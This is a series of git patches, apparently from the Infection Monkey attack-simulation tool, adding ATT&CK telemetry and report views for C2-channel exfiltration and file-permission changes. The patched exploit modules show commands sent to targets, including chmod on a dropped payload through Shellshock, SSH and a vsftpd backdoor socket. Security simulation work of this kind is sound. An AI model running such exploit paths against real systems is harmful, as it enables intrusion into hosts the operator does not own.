self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -56,7 +55,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED - T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI.name).send() T1129Telem(status, UsageEnum.MIMIKATZ.name).send() diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 06a2ea689..d8c3ec51c 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -4,8 +4,6 @@ import sys from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus __author__ = 'itamar' @@ -48,19 +46,14 @@ class WindowsSystemSingleton(_SystemSingleton): if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " - "for monkey process wasn't successful.").send() - return False if winerror.ERROR_ALREADY_EXISTS == last_error: LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) - return False self._mutex_handle = handle - T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py index 30cad6072..422313540 100644 --- a/monkey/infection_monkey/telemetry/attack/t1106_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -4,8 +4,8 @@ from infection_monkey.telemetry.attack.usage_telem import UsageTelem class T1106Telem(UsageTelem): def __init__(self, status, usage): """ - T1129 telemetry. + T1106 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: Enum name of UsageEnum """ super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index 4651f3c25..fcc230be5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -13,7 +13,5 @@ class T1035(UsageTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - services = list(mongo.db.telemetry.aggregate(T1035.get_usage_query())) - services = list(map(T1035.parse_usages, services)) - data.update({'services': services}) + data.update({'services': T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index b24d10bd9..b50b19883 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,10 +1,9 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.services.attack.technique_reports import UsageTechnique __author__ = "VakarisZ" -class T1106(AttackTechnique): +class T1106(UsageTechnique): tech_id = "T1106" unscanned_msg = "Monkey didn't try to directly use WinAPI." scanned_msg = "Monkey tried to use WinAPI, but failed." @@ -13,5 +12,5 @@ class T1106(AttackTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({'api_uses': list(mongo.db.telemetry.aggregate(T1106.get_usage_query()))}) + data.update({'api_uses': T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 17abd4dd3..f1a4d1b83 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -13,7 +13,5 @@ class T1129(UsageTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - dlls = list(mongo.db.telemetry.aggregate(T1129.get_usage_query())) - dlls = list(map(T1129.parse_usages, dlls)) - data.update({'dlls': dlls}) + data.update({'dlls': T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 9b0c23d50..cc702de62 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -134,6 +134,11 @@ class UsageTechnique(AttackTechnique): "Check if usage enum field exists and covers all telem. statuses.") return usage + @classmethod + def get_usage_data(cls): + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + @classmethod def get_usage_query(cls): """ From 1d4df39aa963c0fe9bee37b3f3b4b1cd127fa28f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 12:11:32 +0300 Subject: [PATCH 20/43] Minor UI improvements --- .../cc/ui/src/components/pages/ConfigurePage.js | 2 +- .../ui/src/components/report-components/AttackReport.js | 2 +- monkey/monkey_island/cc/ui/src/styles/App.css | 8 ++++++++ 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 44d5a9a2b..ad4df667d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -496,7 +496,7 @@ class ConfigurePageComponent extends AuthComponent { } return ( - + {this.renderAttackAlertModal()}

Monkey Configuration

{this.renderNav()} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 0b622248b..90929d945 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -158,7 +158,7 @@ class AttackReportPageComponent extends AuthComponent { return (
{this.renderLegend()} -
{content}
+
{content}
) } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 9fc468f77..8f602fa08 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -525,6 +525,14 @@ body { margin-bottom: 30px; } +.attack-matrix { + margin-bottom: 20px; +} + +.attack-report .btn-collapse span:nth-of-type(2){ + flex: 0; +} + .icon-info { color: #ade3eb !important; } From acf309a1634c529686e1d79a6e8b63a31dfd0b13 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 17:33:03 +0300 Subject: [PATCH 21/43] Exfiltration trough command and control channel attack technique implemented --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/monkey_island/cc/models/c2_info.py | 6 +++ monkey/monkey_island/cc/models/monkey.py | 1 + .../monkey_island/cc/resources/telemetry.py | 2 + .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 13 +++++++ .../attack/technique_reports/T1041.py | 27 ++++++++++++++ monkey/monkey_island/cc/services/node.py | 6 +++ .../src/components/attack/techniques/T1041.js | 37 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 99 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/models/c2_info.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1041.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9d69a51fc..9f82e472d 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -16,4 +16,5 @@ from config import Config from creds import Creds from monkey_ttl import MonkeyTtl from pba_results import PbaResults +from c2_info import C2Info from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/c2_info.py b/monkey/monkey_island/cc/models/c2_info.py new file mode 100644 index 000000000..d0f07a3f3 --- /dev/null +++ b/monkey/monkey_island/cc/models/c2_info.py @@ -0,0 +1,6 @@ +from mongoengine import EmbeddedDocument, StringField + + +class C2Info(EmbeddedDocument): + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 418cec03f..6c4c90214 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -33,6 +33,7 @@ class Monkey(Document): pba_results = ListField() ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") + c2_info = EmbeddedDocumentField('C2Info') # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index d4aaa72df..7a34c13de 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -48,6 +48,7 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() + telemetry_json['c2_channel'] = {'src': request.remote_addr, 'dst': request.host} monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) @@ -110,6 +111,7 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.add_communication_info(monkey, telemetry_json['c2_channel']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 719463ba5..ae6ee78e0 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,7 +2,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -27,7 +27,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1106': T1106.T1106, 'T1107': T1107.T1107, 'T1188': T1188.T1188, - 'T1090': T1090.T1090} + 'T1090': T1090.T1090, + 'T1041': T1041.T1041} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 891db84e8..c7c76b998 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -205,5 +205,18 @@ SCHEMA = { } } }, + "exfiltration": { + "title": "Exfiltration", + "type": "object", + "properties": { + "T1041": { + "title": "T1041 Exfiltration Over Command and Control Channel", + "type": "bool", + "value": True, + "necessary": True, + "description": "Data exfiltration is performed over the Command and Control channel." + } + } + } } } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py new file mode 100644 index 000000000..741ee2ae9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1041(AttackTechnique): + + tech_id = "T1041" + unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." + scanned_msg = "" + used_msg = "Monkey exfiltrated info trough command and control channel." + + @staticmethod + def get_report_data(): + monkeys = list(Monkey.objects()) + info = [{'src': monkey['c2_info']['src'], + 'dst': monkey['c2_info']['dst']} + for monkey in monkeys if monkey['c2_info']] + if info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1041.get_base_data_by_status(status) + data.update({'c2_info': info}) + return data diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 9da76b358..c7b82cbfa 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -247,6 +247,12 @@ class NodeService: {'$set': props_to_set}, upsert=False) + @staticmethod + def add_communication_info(monkey, info): + mongo.db.monkey.update({"guid": monkey["guid"]}, + {"$set": {'c2_info': info}}, + upsert=False) + @staticmethod def get_monkey_island_monkey(): ip_addresses = local_ip_addresses() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js new file mode 100644 index 000000000..be691e484 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -0,0 +1,37 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {scanStatus} from "./Helpers"; + +class T1041 extends React.Component { + + constructor(props) { + super(props); + } + + static getC2Columns() { + return ([{ + Header: "Data exfiltration channels", + columns: [ + {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, + {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} + ]}])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1041; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 90929d945..15e6aa342 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -23,6 +23,7 @@ import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; +import T1041 from "../attack/techniques/T1041"; const tech_components = { 'T1210': T1210, @@ -41,7 +42,8 @@ const tech_components = { 'T1106': T1106, 'T1107': T1107, 'T1188': T1188, - 'T1090': T1090 + 'T1090': T1090, + 'T1041': T1041 }; const classNames = require('classnames'); From a2fac20264d932a0bef3b4451059dbdc2264d0b8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Jul 2019 11:54:06 +0300 Subject: [PATCH 22/43] File permission modification attack technique implemented --- monkey/infection_monkey/exploit/shellshock.py | 3 ++ monkey/infection_monkey/exploit/sshexec.py | 2 + monkey/infection_monkey/exploit/vsftpd.py | 5 +++ monkey/infection_monkey/exploit/web_rce.py | 3 ++ .../telemetry/attack/t1222_telem.py | 19 +++++++++ .../cc/services/attack/attack_report.py | 6 ++- .../cc/services/attack/attack_schema.py | 7 ++++ .../attack/technique_reports/T1222.py | 34 ++++++++++++++++ .../src/components/attack/techniques/T1222.js | 39 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 119 insertions(+), 3 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1222_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1222.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 5d3ea8f8c..4e81811d0 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,13 @@ from random import choice import requests +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'danielg' @@ -131,6 +133,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) + T1222Telem(ScanStatus.USED, chmod).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index dfa922b24..eed36a30d 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -13,6 +13,7 @@ from infection_monkey.network.tools import check_tcp_port from common.utils.exploit_enum import ExploitType from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'hoffer' @@ -164,6 +165,7 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux).send() T1105Telem(ScanStatus.USED, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index adac06f2d..dd7e5080c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -6,12 +6,16 @@ import socket import time + +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from logging import getLogger +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + LOG = getLogger(__name__) __author__ = 'D3fa1t' @@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) + T1222Telem(ScanStatus.USED, change_permission).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b33a3cfb5..35bcb2f9b 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -10,6 +10,7 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'VakarisZ' @@ -367,8 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) + T1222Telem(ScanStatus.USED, command).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) + T1222Telem(ScanStatus.SCANNED, "").send() return False # If exploiter returns True / False if type(resp) is bool: diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py new file mode 100644 index 000000000..a9541a2ec --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1222Telem(AttackTelem): + def __init__(self, status, command): + """ + T1222 telemetry. + :param status: ScanStatus of technique + :param command: command used to change permissions + """ + super(T1222Telem, self).__init__('T1222', status) + self.command = command + + def get_data(self): + data = super(T1222Telem, self).get_data() + data.update({ + 'command': self.command + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ae6ee78e0..fab00c213 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,8 +1,9 @@ import logging + from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -28,7 +29,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1107': T1107.T1107, 'T1188': T1188.T1188, 'T1090': T1090.T1090, - 'T1041': T1041.T1041} + 'T1041': T1041.T1041, + 'T1222': T1222.T1222} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index c7c76b998..caa058df4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -108,6 +108,13 @@ SCHEMA = { "description": "Adversaries may remove files over the course of an intrusion " "to keep their footprint low or remove them at the end as part " "of the post-intrusion cleanup process." + }, + "T1222": { + "title": "T1222 File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py new file mode 100644 index 000000000..9db288597 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -0,0 +1,34 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1222(AttackTechnique): + tech_id = "T1222" + unscanned_msg = "Monkey didn't try to change any file permissions." + scanned_msg = "Monkey tried to change file permissions, but failed." + used_msg = "Monkey successfully changed file permissions in network systems." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1222', + 'data.status': ScanStatus.USED.value}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'command': '$data.command'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'command': '$command'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1222.get_tech_base_data() + data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js new file mode 100644 index 000000000..3f3902343 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1222 extends React.Component { + + constructor(props) { + super(props); + } + + static getCommandColumns() { + return ([{ + Header: "Permission modification commands", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1222; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 15e6aa342..0aed990d8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -24,6 +24,7 @@ import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; +import T1222 from "../attack/techniques/T1222"; const tech_components = { 'T1210': T1210, @@ -43,7 +44,8 @@ const tech_components = { 'T1107': T1107, 'T1188': T1188, 'T1090': T1090, - 'T1041': T1041 + 'T1041': T1041, + 'T1222': T1222 }; const classNames = require('classnames'); From 69de938a378ffa1d137616687f0dc2d5bbe6d88f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Jul 2019 12:14:44 +0300 Subject: [PATCH 23/43] Bugfix: victimhost telem is sent instead of attack telem. --- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 4 ++-- .../infection_monkey/telemetry/attack/t1222_telem.py | 8 ++++---- .../cc/services/attack/technique_reports/T1222.py | 12 +----------- .../cc/ui/src/components/attack/techniques/T1222.js | 4 ++-- 7 files changed, 12 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 4e81811d0..208af2f98 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) - T1222Telem(ScanStatus.USED, chmod).send() + T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index eed36a30d..a08da4f45 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -165,7 +165,7 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux).send() + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() T1105Telem(ScanStatus.USED, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index dd7e5080c..744853bdf 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) - T1222Telem(ScanStatus.USED, change_permission).send() + T1222Telem(ScanStatus.USED, change_permission, self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 35bcb2f9b..18a2dcee1 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -368,10 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) - T1222Telem(ScanStatus.USED, command).send() + T1222Telem(ScanStatus.USED, command, self.host).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) - T1222Telem(ScanStatus.SCANNED, "").send() + T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False if type(resp) is bool: diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index a9541a2ec..c8d16061e 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -1,14 +1,14 @@ -from infection_monkey.telemetry.attack.attack_telem import AttackTelem +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -class T1222Telem(AttackTelem): - def __init__(self, status, command): +class T1222Telem(VictimHostTelem): + def __init__(self, status, command, machine): """ T1222 telemetry. :param status: ScanStatus of technique :param command: command used to change permissions """ - super(T1222Telem, self).__init__('T1222', status) + super(T1222Telem, self).__init__('T1222', status, machine) self.command = command def get_data(self): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 9db288597..940c9e8ea 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -14,17 +14,7 @@ class T1222(AttackTechnique): query = [{'$match': {'telem_category': 'attack', 'data.technique': 'T1222', 'data.status': ScanStatus.USED.value}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'command': '$data.command'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': 